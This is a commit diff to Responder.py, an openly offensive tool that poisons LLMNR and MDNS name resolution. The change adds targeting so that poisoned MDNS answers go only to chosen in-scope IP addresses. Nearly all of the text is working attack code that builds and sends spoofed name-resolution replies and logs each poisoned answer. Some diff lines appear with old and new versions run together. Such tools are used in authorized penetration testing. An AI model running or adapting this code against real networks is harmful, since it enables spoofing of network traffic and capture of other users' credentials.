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Added: In-scope IP handling for MDNS

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lgandx 2014-03-22 13:33:03 -04:00
commit b14ff0b36a
1 changed files with 17 additions and 4 deletions
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21
Responder.py
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@ -1108,9 +1108,9 @@ class LLMNR(BaseRequestHandler):
except Exception: except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
else:
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if data[2:4] == "\x00\x00": if data[2:4] == "\x00\x00":
if Analyze(AnalyzeMode) == False:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data) Name = Parse_LLMNR_Name(data)
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
@ -1131,8 +1131,10 @@ class LLMNR(BaseRequestHandler):
except Exception: except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass pass
else:
pass
except: except:
raise pass
################################################################################## ##################################################################################
#DNS Stuff #DNS Stuff
@ -1254,7 +1256,18 @@ class MDNS(BaseRequestHandler):
print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
if Analyze(AnalyzeMode) == False: if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data):
print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))
logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)))